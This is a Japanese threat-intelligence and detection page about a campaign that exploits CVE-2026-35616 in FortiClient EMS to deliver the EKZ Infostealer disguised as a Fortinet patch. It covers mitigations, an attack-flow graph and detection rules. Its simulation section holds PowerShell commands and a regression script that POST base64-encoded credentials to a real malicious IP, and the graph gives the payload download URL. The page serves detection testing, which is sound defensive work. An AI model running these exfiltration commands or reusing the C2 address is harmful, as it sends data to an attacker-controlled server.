CVE-2026-35616を悪用してFortiClient EMSを通じてFortinetのパッチに偽装したEKZ Infostealerを配信
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Arctic Wolfは、次のキャンペーンを特定しました CVE-2026-35616 を悪用してFortiClient EMSに管理されたエンドポイントに悪意のあるPowerShellスクリプトを配布しました。そのスクリプトは、正規のFortinetパッチになりすましてEKZ Infostealerとして知られる認証情報を窃取するペイロードを取得して起動しました。このマルウェアはブラウザのパスワード、クッキー、および自動入力情報を収集し、盗まれたデータをHTTP経由で外部に送信しました。信頼されたEMS構成チャネルを悪用することで、攻撃者は複数の管理されたデバイスに迅速にペイロードを実行できました。
調査
研究者は特殊に作成された認証されていないHTTPリクエストをFortiClient EMS APIに送信してエクスプロイトを再現し、悪意のあるスクリプトを挿入する構成変更をもたらしました。実行トレースは fortitray.exe or ipsec.exe を起動し、 cmd.exeを起動し、その結果 p.exe を悪意のあるIPアドレスからベース64でエンコードされたPowerShellコマンドを介してダウンロードしたことを示しました。ペイロードは log.txt ファイルを作成し、 ProgramDataに保存し、同じサーバーに収集されたデータを送信した後、自らを削除しました。
緩和策
組織では、FortiClient EMSを CVE-2026-35616 を修正するバージョンに更新し、APIアクセスを承認された送信元IPアドレスに制限するべきです。ディフェンダーはまた、証明書関連のエラーやリモートアクセスプロファイルの予期しない変更についてEMSログを確認する必要があります。エンドポイントから未知のIPアドレスへのアウトバウンドHTTPトラフィックはブロックされるべきであり、VPNプロファイルワークフロー内のスクリプト実行は最小特権コントロールを通じて制限されるべきです。
応答
この活動が検出された場合、影響を受けたホストを即座に隔離し、不正に作成された可能性のあるEMSアカウントを取り消し、FortiClientのログディレクトリから悪意のあるスクリプトファイルを削除してください。調査者は log.txt アーティファクトを保存し、悪意のあるバイナリのハッシュを計算し、環境内の一致するインジケーターを探すべきです。露出されたブラウザ資格情報はリセット対象となり、盗難後の疑わしい認証活動のための監視が推奨されます。
"graph TB %% クラス定義 classDef action fill:#99ccff classDef process fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef file fill:#ccffcc classDef technique fill:#ddeeff %% ノード action_initial_access["<b>アクション</b> – <b>T1190 公開アプリケーションのエクスプロイト</b><br/>CVEu20112026u201135616 in FortiClient EMS API"] class action_initial_access action process_api_requests["<b>プロセス</b> – 特権管理者アクションとして処理された認証されていないAPIリクエスト"] class process_api_requests process action_cmd_launch["<b>アクション</b> – <b>T1059.003 Windows コマンドシェル</b><br/>fortitray.exe & ipsec.exe が cmd.exe を起動"] class action_cmd_launch action action_powershell["<b>アクション</b> – <b>T1059.001 PowerShell</b><br/>Base64u2011エンコードされた PowerShell スクリプトの実行"] class action_powershell action technique_obfuscation["<b>テクニック</b> – <b>T1027 不明確化されたファイルまたは情報</b><br/>ベース64で提供されたペイロード"] class technique_obfuscation technique technique_decode["<b>テクニック</b> – <b>T1140 不明確化/デコードファイルまたは情報</b><br/>ランタイムのベース64デコーディング"] class technique_decode technique action_download["<b>アクション</b> – <b>T1570 横移動ツールの転送</b><br/>FortiEndpoint_Patch.exe (p.exe) のダウンロード"] class action_download action file_payload["<b>ファイル</b> – FortiEndpoint_Patch.exe (p.exe)<br/>ホスト先: http://83.138.53.110/dl/p.exe"] class file_payload file action_execute["<b>アクション</b> – <b>T1203 クライアント実行のためのエクスプロイト</b><br/>ダウンロードされたバイナリのサイレント実行"] class action_execute action malware_infostealer["<b>マルウェア</b> – EKZ Infostealer<br/>認証情報、クッキー、自動入力データを収集"] class malware_infostealer malware technique_cred_access["<b>テクニック</b> – <b>T1555.003 Webブラウザからの認証情報</b>"] class technique_cred_access technique file_log["<b>ファイル</b> – C:ProgramDatalog.txt<br/>収集されたデータのストレージ"] class file_log file action_exfil["<b>アクション</b> – <b>T1567 ウェブサービスを介したデータの外部送信</b><br/>攻撃者サーバーへのHTTP POST"] class action_exfil action action_cleanup["<b>アクション</b> – <b>T1564 アーティファクトの隠蔽</b><br/>悪意のあるファイルとログの削除"] class action_cleanup action %% 接続 action_initial_access –>|leads_to| process_api_requests process_api_requests –>|起動| action_cmd_launch action_cmd_launch –>|実行| action_powershell action_powershell –>|使用| technique_obfuscation technique_obfuscation –>|要件| technique_decode action_powershell –>|ダウンロード| action_download action_download –>|取得| file_payload file_payload –>|実行者| action_execute action_execute –>|実行| malware_infostealer malware_infostealer –>|実行| technique_cred_access malware_infostealer –>|書き込み| file_log file_log –>|送信| action_exfil action_exfil –>|次は| action_cleanup action_cleanup –>|削除| file_payload action_cleanup –>|削除| file_log "
攻撃フロー
検出
短いファイル名(cmdline 経由)
見る
疑わしい.NETメソッドの呼び出し(PowerShell経由)
見る
可能なビット転送アクティビティ(PowerShell経由)
見る
FortiClient EMSがCVE-2026-35616を介してエクスプロイトされ、EKZ InfostealerをFortinetパッチとして偽装して配布することを検出するためのIOC(HashSha256)
見る
FortiClient EMSがCVE-2026-35616を介してエクスプロイトされ、EKZ InfostealerをFortinetパッチとして偽装して配布することを検出するためのIOC(HashSha256)
見る
FortiClient EMSがCVE-2026-35616を介してエクスプロイトされ、EKZ InfostealerをFortinetパッチとして偽装して配布することを検出するためのIOC(HashSha1)
見る
FortiClient EMSがCVE-2026-35616を介してエクスプロイトされ、EKZ InfostealerをFortinetパッチとして偽装して配布することを検出するためのIOC(HashMd5)
見る
FortiClient EMSがCVE-2026-35616を介してエクスプロイトされ、EKZ InfostealerをFortinetパッチとして偽装して配布することを検出するためのIOC(SourceIP)
見る
FortiClient EMSがCVE-2026-35616を介してエクスプロイトされ、EKZ InfostealerをFortinetパッチとして偽装して配布することを検出するためのIOC(DestinationIP)
見る
EKZ Infostealerの認証情報のHTTP POSTを介した外部送信[Windowsネットワーク接続]
見る
CVE-2026-35616を介してFortiClient EMSがエクスプロイトされ、EKZ Infostealerを配布[Windowsプロセス作成]
見る
PowerShellを介したFortiClientからEKZ Infostealerを配布[Windows PowerShell]
見る
シミュレーション実行
前提条件: テレメトリーとベースラインのプレフライトチェックが完了している必要があります。
理由: このセクションは、検出ルールをトリガーするために設計された敵の手法(TTP)の正確な実行手順を詳細に説明します。コマンドと説明は、特定されたTTPを直接反映している必要があり、検出ロジックによって期待される正確なテレメトリーを生成することを目的としています。抽象的または無関係な例の使用は、誤診につながります。
-
攻撃の説明とコマンド:
攻撃者は以前にEKZ Infostealerを使用してWindowsレジストリから認証情報を収集しました。収集されたデータを外部に送信するために、マルウェアはベース64でエンコードされた認証情報をコマンド・アンド・コントロールサーバーにPOSTするPowerShellのワンライナーを起動します83.138.53.110。PowerShell(Invoke-WebRequest)の使用は、バイナリベースの検出を回避する典型的なLiving-off-the-Land技術であり、ファイアウォールによって観測可能なネットワークテレメトリーを生成します。powershell # シミュレートされた認証情報ペイロード("user:pass"のBase64) $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!")) $uri = "http://83.138.53.110/collect" Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded" -
リグレッションテストスクリプト: この自己完結型のPowerShellスクリプトは、データ外部送信のステップを再現し、将来のリグレッションテストのために再実行できます。
powershell <# .SYNOPSIS EKZ Infostealerの認証情報外部送信シミュレーション(HTTP POST)。 .DESCRIPTION 偽の認証情報データを生成し、エンコードして、 検出ルールで使用されている既知の悪意のあるIPにPOSTします。 .NOTES 80ポートで許可されたアウトバウンドHTTPが83.138.53.110に必要です。 #> # ---- 準備 ---- $creds = "admin_user:SuperSecret!" $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds)) $target = "http://83.138.53.110/collect" # ---- 実行 ---- try { Write-Host "[*] 認証情報データを $target に送信中..." $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing Write-Host "[+] HTTP ステータス: " $resp.StatusCode } catch { Write-Error "[-] POST 失敗: $_" } # ---- スクリプト終了 ---- -
クリーンアップコマンド: ディスク上に持続的なアーティファクトは作成されませんが、念のためにすべての残りのウェブリクエストセッションを閉じ、PowerShell変数をクリアします。
powershell # 変数をクリーンアップし、開いているウェブセッションを閉じる Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) { Remove-WebRequestSession -All } Write-Host "[*] クリーンアップ完了."